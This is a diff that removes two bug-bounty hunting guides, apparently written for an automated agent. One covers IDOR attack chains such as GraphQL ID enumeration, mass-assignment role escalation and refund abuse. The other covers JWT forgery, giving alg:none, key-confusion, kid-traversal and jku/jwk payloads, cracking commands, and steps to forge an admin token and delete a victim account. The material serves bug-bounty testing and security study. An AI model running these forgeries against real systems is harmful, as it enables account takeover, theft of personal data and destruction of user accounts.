- **Impact:** ATO via IDOR + filename-controlled response header — neither primitive alone is critical; the chain is.
|
|
336
|
-
- **Real shape:** Multiple disclosed cases involving Office 365 SharePoint download endpoints, GitLab attachment downloads, SaaS export endpoints. Pairs with `hunt-xss` Chain 1 (response-header XSS class).
|
|
337
|
-
|
|
338
|
-
### Chain 3 — IDOR via GraphQL `node(id:)` GID + Relay Relation Traversal → Cross-Tenant Mass Data Extraction
|
|
339
|
-
|
|
340
|
-
- **A.** Target uses GraphQL with Relay-style global IDs (`gid://shopify/Customer/<n>` or base64-encoded `type:id` patterns).
|
|
341
|
-
- **B.** `node(id:"<victim_gid>") { ... on Customer { email orders { totalPrice paymentMethods { cardLast4 } } } }` — the top-level `node()` resolver auths the requester, but nested relations don't re-check ownership against the resolved Customer.
|
|
342
|
-
- **C.** Iterate IDs (decoding base64 to extract numeric, incrementing) to exfil emails, order totals, payment methods across the entire customer base.
|
|
343
|
-
- **Impact:** Mass cross-tenant PII / financial data extraction. Single bug, full database.
|
|
344
|
-
- **Real shape:** Shopify Billing IDOR H1 #2207248 ($5,000); HackerOne PolicyPageAssetGroup IDOR H1 #1618347 ($25,000). Cross-refs `hunt-graphql` Disclosed Report Citation #5 and #2.
|
|
345
|
-
|
|
346
|
-
### Chain 4 — IDOR on `/api/teams/{id}/members` + Mass-Assignment in Body → Role Escalation on Victim Team
|
|
347
|
-
|
|
348
|
-
- **A.** Standard horizontal IDOR — `POST /api/teams/{victim_team_id}/members {"email":"attacker@evil"}` adds attacker as a normal member without ownership check.
|
|
349
|
-
- **B.** The body accepts additional fields the API didn't filter: `{"email":"attacker@evil", "role":"OWNER", "permissions":["*"]}` — mass assignment leaks into the role field.
|
|
350
|
-
- **C.** Attacker is added to the victim team as OWNER. Now has full admin access to the victim team's resources and can remove the real owners.
|
|
351
|
-
- **Impact:** Cross-tenant privilege escalation via IDOR + mass assignment. The single most efficient takeover chain on SaaS team-management APIs.
|
|
352
|
-
- **Real shape:** Shopify undocumented `fileCopy` mutation H1 #981472 (2020, $2,000); Stripe `UpdateAtlasApplicationPerson` cross-tenant mutation H1 #1066203 (2020). Cross-refs `hunt-graphql` Disclosed Report Citation #7 and #8; pairs with `hunt-api-misconfig` Mass Assignment section.
|
|
353
|
-
|
|
354
|
-
### Chain 5 — Soft-Delete IDOR + Post-Removal Token Validity → Persistent Cross-Tenant Access
|
|
355
|
-
|
|
356
|
-
- **A.** Identify the "remove member" endpoint that flips an `active=false` flag but doesn't invalidate the session/PAT.
|
|
357
|
-
- **B.** Log in as the to-be-removed user; capture session cookie or PAT.
|
|
358
|
-
- **C.** Have the org admin remove the user via the normal flow. Wait. Re-issue API calls using the captured token — IDOR is now *temporal* (the user no longer has permission per the policy table, but the cached auth context still passes).
|
|
359
|
-
- **Impact:** Weeks of post-termination cross-tenant access; GDPR/CCPA breach exposure; potential extortion leverage.
|
|
360
|
-
- **Real shape:** Shopify removed-staff persistence class (2022). Cross-refs `hunt-misc` Chain 1 — same root cause shape, different starting primitive.
|
|
361
|
-
|
|
362
|
-
### Chain 6 — Double-IDOR (`/users/{id}/orders → /orders/{order_id}/refund`) → Financial Impact on Victim Merchant
|
|
363
|
-
|
|
364
|
-
- **A.** First IDOR: `GET /api/users/{victim_id}/orders` returns the victim's order list without ownership check — yields legitimate `order_id` values.
|
|
365
|
-
- **B.** Second IDOR: `POST /api/orders/{order_id}/refund` issues refunds without checking that the requester owns the merchant/order.
|
|
366
|
-
- **C.** Trigger refund on each of the victim merchant's recent orders. Money moves from merchant to customer (who is also attacker-controlled).
|
|
367
|
-
- **Impact:** Direct financial loss to the victim merchant. Mass-exploitable across the platform's merchant base.
|
|
368
|
-
- **Real shape:** Multiple disclosed e-commerce platform IDOR chains 2019-2023. Cross-refs `hunt-business-logic` Chain (financial impact via state-machine confusion).
|
|
369
|
-
|
|
370
|
-
### Operator-level pattern
|
|
371
|
-
|
|
372
|
-
When you confirm a read-IDOR at A, immediately ask: *what state-change accepts the same ID and might also be IDOR'd?* The chain is usually one of: (1) password reset / email change at terminal step → ATO; (2) refund / withdraw / transfer → financial; (3) role-change / membership-add → privilege escalation. If your read-IDOR doesn't compose to one of those, the standalone payout is what you get. Hunt for both halves — the second is often easier to find because it shares the same auth bug class as the first.
|
|
373
|
-
|
|
374
|
-
Cross-references:
|
|
375
|
-
- `hunt-ato` — Chain 1, 5
|
|
376
|
-
- `hunt-xss` — Chain 2
|
|
377
|
-
- `hunt-graphql` — Chains 3, 4
|
|
378
|
-
- `hunt-misc` — Chain 5
|
|
379
|
-
- `hunt-business-logic` — Chain 6
|
|
380
|
-
|
|
381
|
-
---
|
|
382
|
-
|
|
383
|
-
## Related Skills & Chains
|
|
384
|
-
|
|
385
|
-
- **`hunt-auth-bypass`** — Object-level authorization failure plus route-level auth absence is the canonical IDOR-amplifier. Chain primitive: missing `req.user.id` scoping in ORM query + missing middleware on legacy `/v1/` route = unauthenticated cross-tenant data read via direct ID substitution → bulk PII dump without any session at all.
|
|
386
|
-
- **`hunt-ato`** — Profile-edit IDOR is the most direct path from "read someone's data" to "own their account." Chain primitive: `PATCH /api/users/{victim_uid}` accepts attacker's session + victim UID → set `email=attacker@evil.com` → trigger password reset → reset link arrives at attacker → full ATO without ever knowing victim credentials.
|
|
387
|
-
- **`hunt-graphql`** — GraphQL resolvers without field-level authorization are IDOR-by-default; introspection hands you the schema. Chain primitive: `__schema` introspection → enumerate every mutation accepting `id:` argument → substitute victim IDs across `updateUser`, `deleteOrg`, `transferBilling` mutations → mass IDOR fan-out from one introspection query.
|
|
388
|
-
- **`security-arsenal`** — Pull the IDOR Bypass Tables section for HTTP-parameter-pollution payloads (`?id=own&id=victim`), nested-JSON wrappers (`{"data":{"id":"VICTIM"}}`), and parameter-name variations (`uid`/`userId`/`user_id`/`account`) when the first direct substitution returns 403.
|
|
389
|
-
- **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on an IDOR that returns 200 but doesn't actually leak data (empty array, redacted fields, "access denied" in body with 200 status). The 200-but-no-data IDOR is the #1 N/A driver on H1/Bugcrowd.
|
|
@@ -1,177 +0,0 @@
|
|
|
1
|
-
---
|
|
2
|
-
name: hunt-jwt-crypto
|
|
3
|
-
description: "Hunt JWT cryptographic failures — alg:none signature-stripping and RS256→HS256 key-confusion that let an attacker forge a token for any identity (e.g. an admin) without knowing a secret. Use when the app authenticates with a JSON Web Token (an `eyJ...` Bearer token in the Authorization header, a cookie, or a login response). This skill OWNS JWT signature/crypto forgery (alg:none, key confusion, kid/jku header injection); hunt-ato covers JWT as one ATO path, hunt-auth-bypass covers SSO/SAML token trust, hunt-api-misconfig covers non-crypto JWT handling. Critical when a forged token grants access to another user's data or an admin-only endpoint."
|
|
4
|
-
report_count: 6
|
|
5
|
-
sources: hackerone_public
|
|
6
|
-
---
|
|
7
|
-
|
|
8
|
-
# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)
|
|
9
|
-
|
|
10
|
-
## What actually pays
|
|
11
|
-
|
|
12
|
-
A JWT is `header.payload.signature`, each base64url. The signature is the only
|
|
13
|
-
thing stopping you from editing the payload (your identity/role) and replaying
|
|
14
|
-
it. It pays **High/Critical** when the verifier can be tricked into accepting a
|
|
15
|
-
token you forged — so you become another user or an admin without their secret.
|
|
16
|
-
|
|
17
|
-
Two classic, generic verifier flaws:
|
|
18
|
-
|
|
19
|
-
- **`alg:none`** — the verifier trusts the token's own `alg` header. Set
|
|
20
|
-
`alg:"none"`, drop the signature, edit the payload (e.g. `role:"admin"`,
|
|
21
|
-
another user's `id`/`email`). A broken verifier skips signature checking.
|
|
22
|
-
- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The
|
|
23
|
-
RSA **public** key is, by definition, public. If the verifier lets you choose
|
|
24
|
-
HS256, it will use that public key as the HMAC *secret* — which you also know.
|
|
25
|
-
Sign an edited payload with HS256 using the public key and it validates.
|
|
26
|
-
|
|
27
|
-
## Recon — is this app JWT-based?
|
|
28
|
-
|
|
29
|
-
```
|
|
30
|
-
Login/token responses containing "token":"eyJ..." or Set-Cookie: token=eyJ...
|
|
31
|
-
Authorization: Bearer eyJ... on authenticated requests
|
|
32
|
-
A JWKS / public-key endpoint: /.well-known/jwks.json, /jwks, public-key in the JS bundle
|
|
33
|
-
```
|
|
34
|
-
|
|
35
|
-
Decode the header (base64url the first segment). `"alg":"RS256"` → try key
|
|
36
|
-
confusion. Any alg → always try `alg:none` first; it's free.
|
|
37
|
-
|
|
38
|
-
## Forging the token (never hand-encode base64 — use a JWT tool)
|
|
39
|
-
|
|
40
|
-
Use a purpose-built tool so encoding/signing is correct: **jwt_tool**
|
|
41
|
-
(`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk
|
|
42
|
-
public.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines
|
|
43
|
-
of **PyJWT**. Each forge below is the concept plus the claim to edit.
|
|
44
|
-
|
|
45
|
-
**alg:none — become admin / another user**
|
|
46
|
-
```
|
|
47
|
-
header: {"alg":"none","typ":"JWT"}
|
|
48
|
-
payload: {"data":{"id":1,"email":"admin@target.example","role":"admin"}}
|
|
49
|
-
signature: (empty — keep the trailing dot: header.payload. )
|
|
50
|
-
```
|
|
51
|
-
Some verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.
|
|
52
|
-
|
|
53
|
-
**RS256 → HS256 key confusion — once you have the RSA public key**
|
|
54
|
-
```
|
|
55
|
-
1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or
|
|
56
|
-
/.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS
|
|
57
|
-
bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).
|
|
58
|
-
2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:
|
|
59
|
-
jwt_tool <token> -X k -pk public.pem
|
|
60
|
-
payload edit: {"sub":"administrator"} (or role:"admin" / another user's id)
|
|
61
|
-
```
|
|
62
|
-
|
|
63
|
-
**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**
|
|
64
|
-
```
|
|
65
|
-
header: {"alg":"HS256","kid":"../../../../../../../dev/null"}
|
|
66
|
-
secret: "" (contents of /dev/null = empty string → sign HS256 with an empty secret)
|
|
67
|
-
payload: {"sub":"administrator"}
|
|
68
|
-
```
|
|
69
|
-
Traverse out of the keys directory first. `kid` can also carry SQLi / command
|
|
70
|
-
injection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is
|
|
71
|
-
attacker-controlled and reaches a dangerous sink.
|
|
72
|
-
|
|
73
|
-
**jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token**
|
|
74
|
-
```
|
|
75
|
-
1. Host a JWKS containing a public key you control, on a server the verifier can reach.
|
|
76
|
-
2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload
|
|
77
|
-
with YOUR matching private key.
|
|
78
|
-
3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable
|
|
79
|
-
path on the target's OWN domain so the fetch resolves to your JWKS.
|
|
80
|
-
```
|
|
81
|
-
|
|
82
|
-
**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**
|
|
83
|
-
```
|
|
84
|
-
header: {"alg":"RS256","jwk":{"kty":"RSA","n":"<your_rsa_modulus>","e":"AQAB"}}
|
|
85
|
-
payload: {"sub":"administrator"}
|
|
86
|
-
signature: (sign with your matching private key)
|
|
87
|
-
```
|
|
88
|
-
Some verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.
|
|
89
|
-
|
|
90
|
-
**Expiry / time-based claim manipulation**
|
|
91
|
-
```
|
|
92
|
-
Remove "exp" (expiration) claim entirely — many validators skip the check if absent.
|
|
93
|
-
Or set "nbf" (not before) to the past and "exp" (expiration) to far future (e.g. year 2099).
|
|
94
|
-
Edit payload: {"sub":"administrator","nbf":1000000000,"exp":4102444800}
|
|
95
|
-
```
|
|
96
|
-
Combined with any forging technique above (alg:none, key confusion, jwk injection), this
|
|
97
|
-
bypasses time-based validation when the verifier does not enforce strict expiry rules.
|
|
98
|
-
|
|
99
|
-
**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**
|
|
100
|
-
```
|
|
101
|
-
Identify tenant-related claims in a decoded real token: "org_id", "tenant", "account_id",
|
|
102
|
-
"workspace_id", "customer_id". Edit the target claim to another tenant's value.
|
|
103
|
-
Example: {"sub":"victim@org.com","org_id":1234} → change org_id to an admin's org (e.g. 9999).
|
|
104
|
-
```
|
|
105
|
-
This is systematic IDOR via claims — if authorization logic trusts the token claims
|
|
106
|
-
without checking ownership server-side, you cross into another tenant's resources.
|
|
107
|
-
Works especially well combined with alg:none or weak-secret attacks.
|
|
108
|
-
|
|
109
|
-
Match the `payload` shape to a REAL token from the app (decode one first) — keep
|
|
110
|
-
its claim names, only change identity/role. A payload the app can't parse fails
|
|
111
|
-
for the wrong reason and wastes the attempt.
|
|
112
|
-
|
|
113
|
-
## Offline attacks — weak HMAC secret cracking
|
|
114
|
-
|
|
115
|
-
If the token is HS256 (HMAC-based) and the secret is weak or reused from a known
|
|
116
|
-
password list:
|
|
117
|
-
```bash
|
|
118
|
-
# Hashcat: mode 16500 = JWT
|
|
119
|
-
hashcat -a 0 -m 16500 <jwt_file> rockyou.txt
|
|
120
|
-
|
|
121
|
-
# jwt_tool: built-in wordlist cracking
|
|
122
|
-
jwt_tool <token> -C -d wordlist.txt
|
|
123
|
-
```
|
|
124
|
-
Once the secret is cracked, forge any token using HS256 with that secret (via
|
|
125
|
-
jwt_tool or PyJWT).
|
|
126
|
-
|
|
127
|
-
## Automated attack automation
|
|
128
|
-
|
|
129
|
-
Use purpose-built JWT attack suites to run all known forgery modes in parallel:
|
|
130
|
-
```bash
|
|
131
|
-
# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.
|
|
132
|
-
jwt_tool <token> -X a
|
|
133
|
-
|
|
134
|
-
# Nuclei: automated JWT vuln scanning
|
|
135
|
-
nuclei -u <target_url> -t jwt/ -timeout 10s
|
|
136
|
-
```
|
|
137
|
-
Run these early in JWT recon; they often find the vulnerability faster than
|
|
138
|
-
manual chaining of individual techniques.
|
|
139
|
-
|
|
140
|
-
## Drive to the ADMIN objective — do not stop at a working forge
|
|
141
|
-
|
|
142
|
-
A forge that loads YOUR own `/my-account` is NOT the goal — it just proves the
|
|
143
|
-
forge mechanism works. The objective is almost always **admin** (reach an
|
|
144
|
-
admin-only page and perform an admin action, e.g. delete a user). Once any forge
|
|
145
|
-
is accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin
|
|
146
|
-
endpoint. Do not keep re-forging `/my-account` or re-logging-in; that is drift.
|
|
147
|
-
|
|
148
|
-
Fixed escalation sequence (run it in order, do not loop on earlier steps):
|
|
149
|
-
|
|
150
|
-
1. Forge admin identity and hit the admin page (try these claim names — match a
|
|
151
|
-
decoded real token: `sub`, `role`, `isAdmin`, `username`), e.g. an HS256 token
|
|
152
|
-
with `kid` pointed at `/dev/null` and an empty secret, payload `{"sub":"administrator"}`,
|
|
153
|
-
sent to `GET /admin`.
|
|
154
|
-
2. When `/admin` returns 200 (you'll see admin controls / a delete link), perform
|
|
155
|
-
the admin action with the SAME forged token — a typical one is deleting a
|
|
156
|
-
target user account, e.g. `GET /admin/delete?username=<victimuser>` (some apps
|
|
157
|
-
use `POST /admin/delete` — read the admin page for the exact form/verb).
|
|
158
|
-
|
|
159
|
-
A 401 on `/admin` means the forge/claim is wrong — change ONE thing (the kid
|
|
160
|
-
depth, the claim name/value, or alg) and retry `/admin`. Never retreat to a bare
|
|
161
|
-
unauthenticated `GET /admin` (no token) — that always 401s and wastes effort.
|
|
162
|
-
|
|
163
|
-
## Proof of impact
|
|
164
|
-
|
|
165
|
-
Point the forged token at a protected/admin endpoint and prove you read data you
|
|
166
|
-
should not: an account/user listing (multiple users' emails), another user's
|
|
167
|
-
object, or a completed admin action (the deleted-user confirmation). Reading the
|
|
168
|
-
admin user list or performing the admin action with a forged token IS the exploit.
|
|
169
|
-
A 200 that returns only your own data, or a 401, is not proof.
|
|
170
|
-
|
|
171
|
-
## Validation discipline
|
|
172
|
-
|
|
173
|
-
- Decode and confirm the token you sent actually carries the edited claims.
|
|
174
|
-
- The win is **cross-identity data access**, not merely a 200. Show the foreign
|
|
175
|
-
user data (e.g. other users' emails) in the response.
|
|
176
|
-
- `alg:none` rejected (401) just means that flaw is patched — try key confusion
|
|
177
|
-
before concluding the app is safe.
|